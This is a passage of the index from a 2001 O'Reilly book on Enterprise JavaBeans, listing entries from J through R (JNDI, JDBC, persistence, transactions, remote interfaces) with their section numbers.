interaction between web components and EJB: 11.3 Web Components and EJB
Reference Implementation, deployment wizard: 4.2.9.1 EJB 1.1 deployment tools
Java Activation Framework (JAF): 11.4.2 Guaranteed Services
Java Authentication and Authorization Service ( JAAS): 11.4.1 J2EE Application Client Components
11.6 Future Enhancements
Java DataBase Connectivity (JDBC): 1.6.2 EJB and CORBA CTMs
connection to database, obtaining with: 7.1.2.6 ProcessPaymentBean: The bean class
PreparedStatement for SQL requests: 6.2.7 The ejbCreate( ) Method
type VARBINARY (serialization): 9.7.1.2 Mapping serializable to VARBINARY
URLs, finding for vendors: 6.2.12 EJB 1.0: Deploying the Bean-Managed Ship Bean
Java event model, messaging vs.: 1.5.1 TP Monitors
Java IDEs
with debugger: 4.1.1 Setting Up Your Java IDE
setting up: 4.1.1 Setting Up Your Java IDE
Java language
platform independence: 1. Introduction
primitive data types: 6.1 Container-Managed Persistence
server-side component models, advantages in: 1.6.2 EJB and CORBA CTMs
types: 5.2.2.2 EJB 1.1: Explicit narrowing using PortableRemoteObject
Java Messaging Service (JMS)
J2EE servers, required support for: 11.4.2 Guaranteed Services
Java Naming and Directory Interface ( JNDI)
ENC (Environment Naming Context): 6.2.4 EJB 1.1: EJBContext
Java Naming and Directory Interface (JNDI)
authentication, providing: 3.2.6 Security
ENC (Environment Naming Context): 3.1.1.2 Overview of state transitions
accessing environmental properties: 7.1.2.7 EJB 1.1: Accessing environment properties
defining bean name with ejb-ref elements: 7.3.1.4 TravelAgentBean: The bean class
EJB 1.1, use in: 6.2.6.1 EJB 1.1: Using JDBC in EJB
ENC (Environmental Naming Context)
deployment descriptors: 11.4 J2EE Fills in the Gaps
locating reference to EJB home: 3.2.5 Naming
lookup name, setting in directory: 4.2.6 EJB 1.0: The Deployment Descriptor
resources, obtaining names of: 6.2.6.1 EJB 1.1: Using JDBC in EJB
Java Remote Method Protocol (JRMP): 3.2.4 Distributed Objects
problems with firewalls: 11.3 Web Components and EJB
Java RMI-IIOP: 2.1.1.1 The remote interface
3.2.4 Distributed Objects
EJB 1.1, changes in: D.4.1 RMI over IIOP Narrowing
EJB 1.1 conformance requirements: 5.2.1 EJB 1.1: Java RMI-IIOP Conformance Requirement
J2EE servers, required support of: 11.4.2 Guaranteed Services
Java RMI (remote method invocation): 1.1.1 Distributed Objects
1.3 Distributed Object Architectures
1.3 Distributed Object Architectures
3.2.4 Distributed Objects
programming model (EJB 1.1 and 1.0): 5.2.2 EJB 1.1 and 1.0: The Java RMI Programming Model
remote data types: 6.1.4 Java RMI Return Types, Parameters, and Exceptions
return types and parameters: 6.1.4 Java RMI Return Types, Parameters, and Exceptions
Java Server Pages ( JSP): 11. Java 2, Enterprise Edition
11.2 Java Server Pages
Java Server Pages (JSP)
J2EE servers, required support of: 11.4.2 Guaranteed Services
Java Transaction API (JTA): 8.2.1 Transaction Scope
8.2.3 Transaction Attributes Defined
8.5 Explicit Transaction Management
J2EE servers, required acces to: 11.4.2 Guaranteed Services
Java Transaction Service (JTS): 8.5 Explicit Transaction Management
JavaBeans
component model: 1.6.3 Benefits of a Standard Server-Side Component Model
EJB vs.: 1.4 Component Models
JavaIDL, J2EE servers, required support of: 11.4.2 Guaranteed Services
JavaMail, J2EE servers, required access to: 11.4.2 Guaranteed Services
java.rmi.RemoteException: 5.2.4 The Remote Interface
javax.ejb package: A.1 Package: javax.ejb
javax.ejb.deployment package: 4.2.9.2 EJB 1.0 deployment tools
A.2 Package: javax.ejb.deployment (EJB 1.0 Only)
deployment descriptor classes in: 2.1.2.1 EJB 1.0: Deployment descriptors
JDBC (Java DataBase Connectivity)
2.0 Standard Extension, J2EE servers, support requirements: 11.4.2 Guaranteed Services
EJB 1.1, using in: 6.2.6 Obtaining a Connection to the Database
J2EE specification (see Java 2, Enterprise Edition)
JNDI ( Java Naming and Directory Interface)
ENC (Environment Naming Context)
new features in EJB 1.1: D.4 The Default JNDI Context
JNDI (Java Naming and Directory Interface): 3.2.5 Naming
downloading packages from Web: 4.1.1 Setting Up Your Java IDE
drivers: 5.1 Locating Beans with JNDI
ENC (Environment Naming Context): 11. Java 2, Enterprise Edition
accessing with Java code in JDSP: 11.2 Java Server Pages
EJB references, network- and vendor-independence: 7.3.1.4 TravelAgentBean: The bean class
external resources, looking up: 10.5.5 References to External Resources
lookup of minCheckNumber entry: 10.5.3 Environment Entries
maintaining in conversational state: 7.3.1.4 TravelAgentBean: The bean class
references to other beans: 10.5.4 References to Other Beans
res-ref-name element and: 6.2.6.1 EJB 1.1: Using JDBC in EJB
J2EE servers, required support of: 11.4.2 Guaranteed Services
locating beans with: 5.1 Locating Beans with JNDI
network connections: 4.2.10 Creating a Client Application
reference to EJB home: 4.3.3.1 EJB 1.1: TravelAgentBean
4.3.3.2 EJB 1.0: TravelAgentBean
remote reference, locating with: 2.2.1 Getting Information from an Entity Bean
jndiContext
EJB 1.1: 7.3.1.4 TravelAgentBean: The bean class
JRMP (see Java Remote Method Protocol)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: K

There are no index entries for this letter.

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: L

large-icon element: 10.4 The Descriptor's Body
session or entity element: 10.5.1 Session and Entity Beans
latency (network traffic): 9.3.1 Network Traffic and Latency
layers in distributed object systems: 1.1.1 Distributed Objects
legacy persistence: 3.2.3.3 Legacy persistence
life cycle
bean instance: 3.1.1.2 Overview of state transitions
entity beans: 3.1.1.1 The entity bean life cycle
6.3 The Life Cycle of an Entity Bean
ending: 6.3.5 End of the Life Cycle
state diagram for: B.1 Entity Beans
methods, defining in home interface: 2.1.1.2 The home interface
stateful session beans: 7.4 The Life Cycle of a Stateful Session Bean
7.4.3 Passivated State
diagrams of: B.2.2 Stateful Session Beans
Method-Ready state: 7.4.2.1 Transitioning to the Method-Ready state
7.4.2.3 Transitioning out of the Method-Ready state
Passivated state: 7.4.3 Passivated State
stateless session beans: 7.2 The Life Cycle of a Stateless Session Bean
diagram of: B.2.1 Stateless Session Beans
Does Not Exist state to Method-Ready Pool transition: 7.2.2.1 Transitioning to the Method-Ready Pool
Method-Ready Pool: 7.2.2.2 Life in the Method-Ready Pool
transition from Method-Ready Pool to Does Not Exist state: 7.2.2.3 Transitioning out of the Method-Ready Pool: The death of a stateless bean instance
LIFO (last in, first out) strategy: 3.1.1.3 Instance swapping
listing behavior
entity beans vs.: 7.3.1.6 listAvailableCabins( ): Listing behavior
9.3.2 Resource Consumption
strings (arrays of): 7.3.1.6 listAvailableCabins( ): Listing behavior
locating beans with JNDI: 5.1 Locating Beans with JNDI
location transparency: 1.3.1 Rolling Your Own Distributed Object
3.2.4 Distributed Objects
J2EE Application client components: 11.4.1 J2EE Application Client Components
locks (databases): 8.3.2 Database Locks
isolation levels and: 8.3.3 Transaction Isolation Levels
lookup( ) (Context): 5.2.2.2 EJB 1.1: Explicit narrowing using PortableRemoteObject
lookup APIs: 3.2.5 Naming
loopbacks
occurrence of: 3.2.1.1 Reentrance
prohibiting in EJB: 3.2.1.1 Reentrance
reentrant element and: 10.5.1 Session and Entity Beans
reentrant element, setting: 4.2.5 EJB 1.1: The Deployment Descriptor

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: M

main( ): 5.2.3.1 Removing beans
Mandatory transaction attribute: 8.2.3 Transaction Attributes Defined
10.6.1 Specifying a Bean's Transactional Attributes
manifest, JAR files: 2.1.2 Deployment Descriptors and JAR Files
4.2.7.2 EJB 1.0: Packaging the Cabin bean
medical system transactions: 8.1 ACID Transactions
messaging: 1.5.1 TP Monitors
META-INF directory: 4.2.7.1 EJB 1.1: Packaging the Cabin bean
10.7 The ejb-jar File
metadata
EJBMetaData interface: A.1.6 EJBMetaData
session beans: 7.1.2.5 ProcessPaymentHome: The home interface
method-driven access control: 3.2.6.2 EJB 1.0: Method-driven access control
method element: 10.6 Describing Bean Assembly
10.6.3 Identifying Specific Methods
method-intf element: 10.6.3.4 Remote/home differentiation
specifying home or remote interface for methods: 10.6.3 Identifying Specific Methods
method-name element: 10.6.1 Specifying a Bean's Transactional Attributes
in method element: 10.6.3 Identifying Specific Methods
method overloading, Java RMI-IIOP restrictions on: 5.2.2.1 EJB 1.1: Java RMI-IIOP type restrictions
method-params elements: 10.6.3 Identifying Specific Methods
10.6.3.3 Specific method declarations
method-permission element: 3.2.6.1 EJB 1.1: Role-driven access control
10.6 Describing Bean Assembly
10.6.2.1 Assigning roles to methods
10.6.3.4 Remote/home differentiation
Method-Ready Pool: 7.2.2 The Method-Ready Pool
stateless session beans in: 7.2.2.2 Life in the Method-Ready Pool
Method-Ready state
stateful session beans: 7.4.2.1 Transitioning to the Method-Ready state
stateful session beans, transition to Passivated state: 7.4.2.3 Transitioning out of the Method-Ready state
methods requiring transaction attributes (entity beans): 10.6.1 Specifying a Bean's Transactional Attributes
Microsoft
ActiveX (GUI component model): 1.6.3 Benefits of a Standard Server-Side Component Model
DCOM: 1.1.1 Distributed Objects
1.1.3 Component Transaction Monitors
3.2.4 Distributed Objects
MTS and: 1.6.1 MTS
Transaction Server (MTS): 1.6.1 MTS
middle-tier application servers: 1.1.2 Server-Side Components
modules: 11.4 J2EE Fills in the Gaps
MOM (message-oriented middleware): 1.1.3 Component Transaction Monitors
MTS (Microsoft Transaction Server) (see Microsoft)
multi-entity find methods: 6.1.3.1 The find methods
in bean-managed persistence: 6.2.1 Making the ShipBean a Bean-Managed Entity
multithreaded access, problems with: 3.2.1.1 Reentrance
mutators (see set and get methods)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: N

names
ejb-name element: 2.1.2.2 EJB 1.1: Deployment descriptors
10.5 Describing Beans
10.6.1 Specifying a Bean's Transactional Attributes
in method element: 10.6.3 Identifying Specific Methods
method-name element: 10.6.1 Specifying a Bean's Transactional Attributes
res-ref-name element: 10.5.5 References to External Resources
naming conventions
for enterprise beans: 2.1.1 Classes and Interfaces
set and get methods: 6.1.1.1 Set and get methods
naming services: 3.2.5 Naming
5.1 Locating Beans with JNDI
JNDI drivers for: 5.1 Locating Beans with JNDI
narrow( ) (PortableRemoteObject): 5.2.2.2 EJB 1.1: Explicit narrowing using PortableRemoteObject
5.2.2.2 EJB 1.1: Explicit narrowing using PortableRemoteObject
native Java persistence (entity beans, database mapping): 9.7.1.5 Native Java persistence
9.7.2.3 Native Java persistence
nesting elements (XML deployment descriptor): 10.4 The Descriptor's Body
network communication layer, distributed object architectures and: 1.3 Distributed Object Architectures
network connections: 4.2.10 Creating a Client Application
reducing with session beans: 2.2.2 Modeling Workflow with Session Beans
network messaging (see messaging)
network traffic
latency: 9.3.1 Network Traffic and Latency
minimizing: 9.3.1 Network Traffic and Latency
reducing with session beans: 2.2.2 Modeling Workflow with Session Beans
Never transaction attribute: 8.2.3 Transaction Attributes Defined
new features in EJB Version 1.1: D. New Features in EJB 1.1
newInstance( ) (Class): 6.1.2 The Primary Key
6.3.2 The Pooled State
no-argument constructor, requirement for container-managed persistence: 6.1.2 The Primary Key
no state: 3.1.1.1 The entity bean life cycle
nonreentrance policy, applying to entity and session beans: 3.2.1.1 Reentrance
nonrepeatable reads: 8.3.1.2 Repeatable reads
NoSuchEntityException: A.1.14 NoSuchEntityException (1.1)
Not Supported transaction attribute: 8.2.3 Transaction Attributes Defined
8.4 Non-Transactional Beans
notifications, informing beans of events: 2.1.1.3 The bean class

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: O

object binding: 3.2.5 Naming
Object class: 5.2.5.3 Comparing beans for identity
object ID (OID): 5.2.5.2 Primary key
Object Management Group (OMG)
defining server-side component model: 1.6.2 EJB and CORBA CTMs
Object Transaction Service (OTS): 8.5 Explicit Transaction Management
services in CORBA-compliant ORBs: 3.2 Primary Services
object-oriented databases: 3.2.3.2 Object database persistence
container-managed persistence and: 6.1 Container-Managed Persistence
Object Request Brokers (see ORBs)
object serialization
beans instance activation and: 7.4.3 Passivated State
container-managed fields: 6.1 Container-Managed Persistence
deployment descriptors, EJB 1.0: 2.1.2.1 EJB 1.0: Deployment descriptors
EJB 1.1 deployment descriptors, dropping in: 2.1.2.2 EJB 1.1: Deployment descriptors
EJBMetaData: 5.2.3.2 Bean metadata
entity beans and: 3.1.2 The Activation Mechanism
EntityDescriptor class (example): 4.2.6 EJB 1.0: The Deployment Descriptor
handles: 5.2.5.5 The bean handle
7.1.2.2 ProcessPayment: The remote interface
JDBC type VARBINARY: 9.7.1.2 Mapping serializable to VARBINARY
passing by reference: 5.2.2 EJB 1.1 and 1.0: The Java RMI Programming Model
persistence and: 3.2.3.2 Object database persistence
primary key: 4.2.3 CabinPK: The Primary Key
5.2.5.2 Primary key
SessionDescriptor: 4.3.5 EJB 1.0: The TravelAgent Beans' Deployment Descriptor
stateful beans, preserving state with: 3.1.2 The Activation Mechanism
object servers: 1.3 Distributed Object Architectures
remote references to: 1.3.1 Rolling Your Own Distributed Object
object-to-relational persistence: 3.2.3.1 Object-to-relational persistence
direct database access: 9.9.2.2 Direct access with object-to-relational mapping tools
mapping wizard: 3.2.3.1 Object-to-relational persistence
object transaction monitor (see CTMs)
Object Transaction Service (OTS): 8.5 Explicit Transaction Management
Object type, facilitating undefined primary key: 6.1.2.3 EJB 1.1: Undefined primary keys
ObjectNotFoundException: 6.1.3.1 The find methods
6.1.3.1 The find methods
6.2.10 ejbFind( ) Methods
8.6.1.2 Application exceptions
EJB API: A.1.15 ObjectNotFoundException
OMG (see Object Management Group)
online book order transactions: 8.1 ACID Transactions
open connections: 7.2.2.1 Transitioning to the Method-Ready Pool
JNDI context: 7.3.1.4 TravelAgentBean: The bean class
open standards, CTM development and: 1.6.1 MTS
ORBs (Object Request Brokers): 1.1.3 Component Transaction Monitors
1.3.1 Rolling Your Own Distributed Object
1.5.2 Object Request Brokers
1.5.2 Object Request Brokers
(see also CTMs)
server-side component model: 1.5.3 CTMs: The Hybrid of ORBs and TP Monitors
services, defining for: 3.2 Primary Services
OTMs (see CTMs)
OTS (Object Transaction Service): 8.5 Explicit Transaction Management
overloaded methods
named declarations, applying to all: 10.6.3.2 Named method declarations
parameters for resolving: 10.6.3 Identifying Specific Methods

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: P

packages for EJB, downloading from Sun Java site: 4.1.1 Setting Up Your Java IDE
parameters: 10.6.3.3 Specific method declarations
(see also method-params elements)
Java RMI: 6.1.4 Java RMI Return Types, Parameters, and Exceptions
resolving overloaded methods: 10.6.3 Identifying Specific Methods
passing by reference: 5.2.2 EJB 1.1 and 1.0: The Java RMI Programming Model
passing objects by value: 5.2.2 EJB 1.1 and 1.0: The Java RMI Programming Model
9.2 Passing Objects by Value
bulk accessors: 9.2.3 Bulk Accessors
CORBA, limitations of: 3.2.4 Distributed Objects
dependent classes: 7.3.1.1 TravelAgent: The remote interface
dependent classes, use of: 7.1.2.3 Dependent classes: The CreditCard and Check classes
dependent objects: 9.2 Passing Objects by Value
beans vs.: 9.2.1 Dependent Objects
entity objects: 9.2.4 Entity Objects
passivation: 3.1.2 The Activation Mechanism
EJB 1.0 and 1.1, issues with: 7.4.3 Passivated State
JNDI ENC, maintaining during: 7.3.1.4 TravelAgentBean: The bean class
Ready to Pooled state: 6.3.3.4 Transitioning from the Ready State to the Pooled state via passivation
stateful session beans: 7.4.3 Passivated State
JNDI context, closing: 7.3.1.4 TravelAgentBean: The bean class
path, XML deployment descriptors in ejb-jar files: 10.7 The ejb-jar File
performance
improving with session beans: 9.3 Improved Performance with Session Beans
9.4 Bean Adapters
session beans, benefits of: 2.2.2 Modeling Workflow with Session Beans
transaction isolation levels and: 8.3.4 Balancing Performance Against Consistency
transactions across methods and: 8.5.1 Transaction Propagation in Bean-Managed Transactions
permissions, method-permission element: 3.2.6.1 EJB 1.1: Role-driven access control
10.6 Describing Bean Assembly
10.6.3.4 Remote/home differentiation
persistence: 3.2.3 Persistence
9.8 Object-to-Relational Mapping Tools
bean-managed: 6.2 Bean-Managed Persistence
connections to database: 6.2.6 Obtaining a Connection to the Database
deployment of beans: 6.2.11 EJB 1.1: Deploying the Bean-Managed Ship Bean
duplicate records, handling: 7.3.1.5 Why use a Reservation entity bean?
ejbCreate( ), use of: 6.2.7 The ejbCreate( ) Method
ejbLoad( ) and ejbStore( ) methods: 6.3.4 Life in the Ready State
entity bean, defining: 6.2.1 Making the ShipBean a Bean-Managed Entity
exception handling: 6.2.2 Exception Handling
6.2.2 Exception Handling
find methods in: 6.2.10 ejbFind( ) Methods
removing from database: 6.2.9 The ejbRemove( ) Method
sequence diagrams: B.1.3 Sequence Diagrams for Bean-Managed Persistence
synchronizing to database: 6.3.3.3 Transitioning from the Pooled state to the Ready State via activation
cmp-field elements: 4.2.5 EJB 1.1: The Deployment Descriptor
container-managed: 4.2.6 EJB 1.0: The Deployment Descriptor
5.2.5.2 Primary key
6.1 Container-Managed Persistence
6.3.3.4 Transitioning from the Ready State to the Pooled state via passivation
(see also under entity beans)
activation and synchronization: B.1.2 quence Diagrams for Container-Managed Persistence
bean class: 6.1.5 The ShipBean Class
client application, creating: 6.1.9 The Client Application
cmp-field elements: 4.2.5 EJB 1.1: The Deployment Descriptor
10.5.1 Session and Entity Beans
CreateException: 6.1.3 The Home Interface
duplicate records, handling: 7.3.1.5 Why use a Reservation entity bean?
ejbLoad( ) and ejbStore( ), using in: 6.1.8.4 Using ejbLoad( ) and ejbStore( ) in container-managed beans
find methods: 4.2.4 CabinBean: The Bean Class
6.1.3 The Home Interface
6.1.3.1 The find methods
home interface, defining: 6.1.3 The Home Interface
no-argument constructor requirement: 6.1.2 The Primary Key
primary keys: 6.1.2 The Primary Key
6.1.2 The Primary Key
remote interface, defining: 6.1.1 The Remote Interface
sequence diagrams: B.1.2 quence Diagrams for Container-Managed Persistence
synchronization to database: 6.1.8.4 Using ejbLoad( ) and ejbStore( ) in container-managed beans
6.3.3.3 Transitioning from the Pooled state to the Ready State via activation
6.3.4 Life in the Ready State
container-managed fields: 6.1 Container-Managed Persistence
6.1.5 The ShipBean Class
references to other beans: 6.1 Container-Managed Persistence
elements in EJB DTD: 2.1.2.2 EJB 1.1: Deployment descriptors
entity beans: 2.2.1 Getting Information from an Entity Bean
6. Entity Beans
session beans vs.: 2.1 The Enterprise Bean Component
legacy persistence, EJB handling of: 3.2.3.3 Legacy persistence
object databases: 3.2.3.2 Object database persistence
object-to-relational: 3.2.3.1 Object-to-relational persistence
servlets and: 11.1 Servlets
session beans and: 2.1.1.5 What about session beans?
2.2.2 Modeling Workflow with Session Beans
7. Session Beans
stateful session beans: 7.3 The Stateful Session Bean
persistence-type element: 10.5.1 Session and Entity Beans
persistent fields: 4.2.4 CabinBean: The Bean Class
bulk accessors, manipulating with: 9.2.3 Bulk Accessors
mapping to database: 2.1.1.4 The primary key
phantom reads: 8.3.1 Dirty, Repeatable, and Phantom Reads
8.3.1.3 Phantom reads
phantom records: 8.3.1.3 Phantom reads
platform independence, Java language: 1. Introduction
polymorphism concept in programming languages: 5.2.2.2 EJB 1.1: Explicit narrowing using PortableRemoteObject
Pooled state: 3.1.1.1 The entity bean life cycle
6.3.2 The Pooled State
transition from Ready state via passivation: 6.3.3.4 Transitioning from the Ready State to the Pooled state via passivation
transition from Ready state via removal: 6.3.3.5 Transitioning from the Ready State to the Pooled state via removal
transition to Ready state via activation: 6.3.3.3 Transitioning from the Pooled state to the Ready State via activation
transitioning to Ready state via find methods: 6.3.3.2 Transitioning from the Pooled state to the Ready State via a find method
transitioning to/from Ready state via creation: 6.3.3.1 Transitioning from the Pooled state to the Ready State via creation
pooling resources: 3.1.1 Instance Pooling
PortableRemoteObject class: 5.2.2.2 EJB 1.1: Explicit narrowing using PortableRemoteObject
presentation tier (three-tier distributed object architecture): 1.1.1 Distributed Objects
prim-key-class element: 2.1.2.2 EJB 1.1: Deployment descriptors
10.5.1 Session and Entity Beans
primary keys: 2.1.1 Classes and Interfaces
as serializable class: 6.1.2 The Primary Key
in client-side API: 5.2.5.2 Primary key
container-managed entity beans: 6.1.2 The Primary Key
compound and single-field: 6.1.2 The Primary Key
constructors: 6.1.2 The Primary Key
fields, defining: 6.1.8.1 ejbCreate( )
overriding Object methods: 6.1.2 The Primary Key
undefined: 6.1.2.3 EJB 1.1: Undefined primary keys
creating for entity beans: 6.3.3.1 Transitioning from the Pooled state to the Ready State via creation
data types in field: 10.5.2 Specifying Primary Keys
database record, finding with: 6.2.10 ejbFind( ) Methods
defining: 2.1.1.4 The primary key
definition, deferring to bean deployer: 10.5.2.1 Deferring primary key definition
developing (example): 4.2.3 CabinPK: The Primary Key
duplicates, handling of: 7.3.1.5 Why use a Reservation entity bean?
in ejb-jar files: 10.7 The ejb-jar File
EntityContext, querying for: 6.2.8 The ejbLoad( ) and ejbStore( ) Methods
handles vs.: 5.2.5.5 The bean handle
hash codes in compound: 9.1 Hash Codes in Compound Primary Keys
metadata, using with: 5.2.3.2 Bean metadata
preserving in database mapping: 9.7.1.3 Preserving the primary key
removing beans with: 5.2.3.1 Removing beans
serializing and deserializing: 5.2.5.2 Primary key
session beans and: 2.1.1.5 What about session beans?
specifying, deployment descriptors: 10.5.2 Specifying Primary Keys
stateless session beans and: 7.1.2.2 ProcessPayment: The remote interface
primary services in EJB: 3.2 Primary Services
primitive data types: 6.1 Container-Managed Persistence
Java RMI in remote interface: 6.1.4 Java RMI Return Types, Parameters, and Exceptions
primary keys and: 6.1.2.2 Single-field key
wrapper classes for: 6.1.2.2 Single-field key
primkey-field element: 6.1.2.2 Single-field key
10.5.1 Session and Entity Beans
Principal objects, tracking client identity with: 6.2.4 EJB 1.1: EJBContext
Principal types: 3.2.6 Security
Principle objects: 3.2.6.1 EJB 1.1: Role-driven access control
private helper method (bean class): 7.1.2.6 ProcessPaymentBean: The bean class
procedure-based applications, distributed object systems vs.: 1.5.1 TP Monitors
programming languages
inheritance or polymorphism in: 5.2.2.2 EJB 1.1: Explicit narrowing using PortableRemoteObject
object-oriented: 1.1.2 Server-Side Components
propagation of transactions: 8.2.1 Transaction Scope
8.2.4 Transaction Propagation
bean-managed transactions: 8.5.1 Transaction Propagation in Bean-Managed Transactions
properties
business behavior, modifying at runtime: 6.2.5 EJB 1.0: EJBContext
declared under ejb10-properties subcontext: 7.1.2.8 EJB 1.1: EJBContext
deployment: 6.2.12 EJB 1.0: Deploying the Bean-Managed Ship Bean
deployment descriptors, defining in: 7.1.2.6 ProcessPaymentBean: The bean class
JDBC connections, acquiring with: 6.2.6.2 EJB 1.0: Using JDBC in EJB
remote interface, defining in: 4.2.1 Cabin: The Remote Interface
set and get methods, manipulating with: 6.1.1.1 Set and get methods
property files and property sheets, deployment descriptors vs.: 2.1.2 Deployment Descriptors and JAR Files
public declaration of primary key class fields: 6.1.2 The Primary Key

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: Q

There are no index entries for this letter.

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: R

Read Committed isolation level: 8.3.3 Transaction Isolation Levels
read locks: 8.3.2 Database Locks
Read Uncommitted isolation level: 8.3.3 Transaction Isolation Levels
8.3.4 Balancing Performance Against Consistency
Ready state: 3.1.1.1 The entity bean life cycle
6.3.3 The Ready State
6.3.4 Life in the Ready State
bean moving from instance pool to: 3.1.1.2 Overview of state transitions
transition from Pooled state via activation: 6.3.3.3 Transitioning from the Pooled state to the Ready State via activation
transition to Pooled state via passivation: 6.3.3.4 Transitioning from the Ready State to the Pooled state via passivation
transition to Pooled state via removal: 6.3.3.5 Transitioning from the Ready State to the Pooled state via removal
transitioning from Pooled state via find methods: 6.3.3.2 Transitioning from the Pooled state to the Ready State via a find method
transitioning to/from Pooled state via creation: 6.3.3.1 Transitioning from the Pooled state to the Ready State via creation
reentrance: 3.2.1.1 Reentrance
4.2.6 EJB 1.0: The Deployment Descriptor
4.2.6 EJB 1.0: The Deployment Descriptor
(see also concurrency)
multithreaded access vs.: 3.2.1.1 Reentrance
reentrant element: 4.2.5 EJB 1.1: The Deployment Descriptor
10.5.1 Session and Entity Beans
references: 10.5.1 Session and Entity Beans
(see also remote references)
accessing in EJB 1.0 and 1.1: 7.3.1.4 TravelAgentBean: The bean class
to beans, looking up for: 10.5.4 References to Other Beans
to EJB home: 4.3.3.1 EJB 1.1: TravelAgentBean
4.3.3.2 EJB 1.0: TravelAgentBean
to external resources: 10.5.5 References to External Resources
JNDI ENC, making available through: 10.5.1 Session and Entity Beans
to other beans, defining within JNDI ENC: 10.5.4 References to Other Beans
relational databases
arrays of Strings, converting for storage in: 6.1.8.4 Using ejbLoad( ) and ejbStore( ) in container-managed beans
connections, obtaining with JDBC: 6.2.6 Obtaining a Connection to the Database
container-managed persistence and: 6.1 Container-Managed Persistence
CTMs, analogies to: 1.5.4 Analogies to Relational Databases
entity bean fields, mapping to: 3.2.3.1 Object-to-relational persistence
object-to-relational mapping tools: 9.8 Object-to-Relational Mapping Tools
SQL standard: 1.6.3 Benefits of a Standard Server-Side Component Model
EJB server support for: 4.1 Choosing and Setting Up an EJB Server
relationships (entity beans): 9.7 Entity Bean Relationships
complex: 9.7.2 Complex Entity Relationships
9.7.2.3 Native Java persistence
database IDs vs. business concepts: 9.7.1.1 Maintaining the database mapping
database mapping: 9.7.1.1 Maintaining the database mapping
mapping serializable: 9.7.1.2 Mapping serializable to VARBINARY
simple: 9.7.1 Simple Associations
9.7.1.5 Native Java persistence
remote element: 2.1.2.2 EJB 1.1: Deployment descriptors
10.5.1 Session and Entity Beans
remote interface: 5.2.2 EJB 1.1 and 1.0: The Java RMI Programming Model
10.5.1 Session and Entity Beans
(see also remote element)
business methods, defining: 2.1.1 Classes and Interfaces
A.1.7 EJBObject
client-side API: 5.2.4 The Remote Interface
defining: 2.1.1.1 The remote interface
dependent class: 7.1.2.3 Dependent classes: The CreditCard and Check classes
in ejb-jar files: 10.7 The ejb-jar File
entity beans: 4.2.1 Cabin: The Remote Interface
container-managed: 6.1.1 The Remote Interface
Java RMI-IIOP restrictions on: 5.2.2.1 EJB 1.1: Java RMI-IIOP type restrictions
Java RMI return types, parameters, and exceptions: 6.1.4 Java RMI Return Types, Parameters, and Exceptions
methods, distinguishing from home interface: 10.6.3.4 Remote/home differentiation
problems with bean class implementation: 9.5 Implementing a Common Interface
security roles, mapping to methods: 10.6.2.1 Assigning roles to methods
session beans: 4.3.1 TravelAgent: The Remote Interface
7.3.1.1 TravelAgent: The remote interface
set and get methods: 6.1.1.1 Set and get methods
stateful session beans: 7.3.1 The TravelAgent Bean
stateless session beans: 7.1.2.2 ProcessPayment: The remote interface
7.1.2.2 ProcessPayment: The remote interface
remote method invocation (see Java RMI; RMI; RMI-IIOP)
remote procedure calls (RPCs): 1.5.1 TP Monitors
remote references
EJB objects, comparing: 5.2.5.3 Comparing beans for identity
explicit narrowing with PortableRemoteObject: 5.2.2.2 EJB 1.1: Explicit narrowing using PortableRemoteObject
circumstances for use: 5.2.2.2 EJB 1.1: Explicit narrowing using PortableRemoteObject
circumstances not requiring: 5.2.2.2 EJB 1.1: Explicit narrowing using PortableRemoteObject
handle, obtaining through: 7.1.2.2 ProcessPayment: The remote interface
in bean-to-bean interaction: 9.5.1 Why the Bean Class Shouldn't Implement the Remote Interface
to object servers: 1.3.1 Rolling Your Own Distributed Object
serializable objects vs.: 5.2.2 EJB 1.1 and 1.0: The Java RMI Programming Model
RemoteException: 5.2.2 EJB 1.1 and 1.0: The Java RMI Programming Model
5.2.4 The Remote Interface
6.1.4 Java RMI Return Types, Parameters, and Exceptions
bean-managed persistence, requirements for: 6.2.1 Making the ShipBean a Bean-Managed Entity
checked sybsystem exceptions, wrapping: 6.2.2 Exception Handling
EJB callback methods, use in: 6.2.8 The ejbLoad( ) and ejbStore( ) Methods
find methods: 6.2.10 ejbFind( ) Methods
stateless session beans: 7.1.2.2 ProcessPayment: The remote interface
remove( )
EJBHome interface: 5.2.3.1 Removing beans
EJBObject interface: 5.2.5.4 Removing beans
remove methods, transactional attributes required in deployment descriptor: 10.6.1 Specifying a Bean's Transactional Attributes
RemoveException: 8.6.1.2 Application exceptions
A.1.16 RemoveException
removing beans: 3.1.1.2 Overview of state transitions
5.2.3.1 Removing beans
6.3.3.5 Transitioning from the Ready State to the Pooled state via removal
entity beans, bean-managed persistence: 6.2.9 The ejbRemove( ) Method
stateless session beans: 7.2.2.1 Transitioning to the Method-Ready Pool
Repeatable Read isolation level: 8.3.3 Transaction Isolation Levels
repeatable reads: 8.3.1 Dirty, Repeatable, and Phantom Reads
8.3.1.2 Repeatable reads
Required transaction attribute: 8.2.3 Transaction Attributes Defined
10.6.1 Specifying a Bean's Transactional Attributes
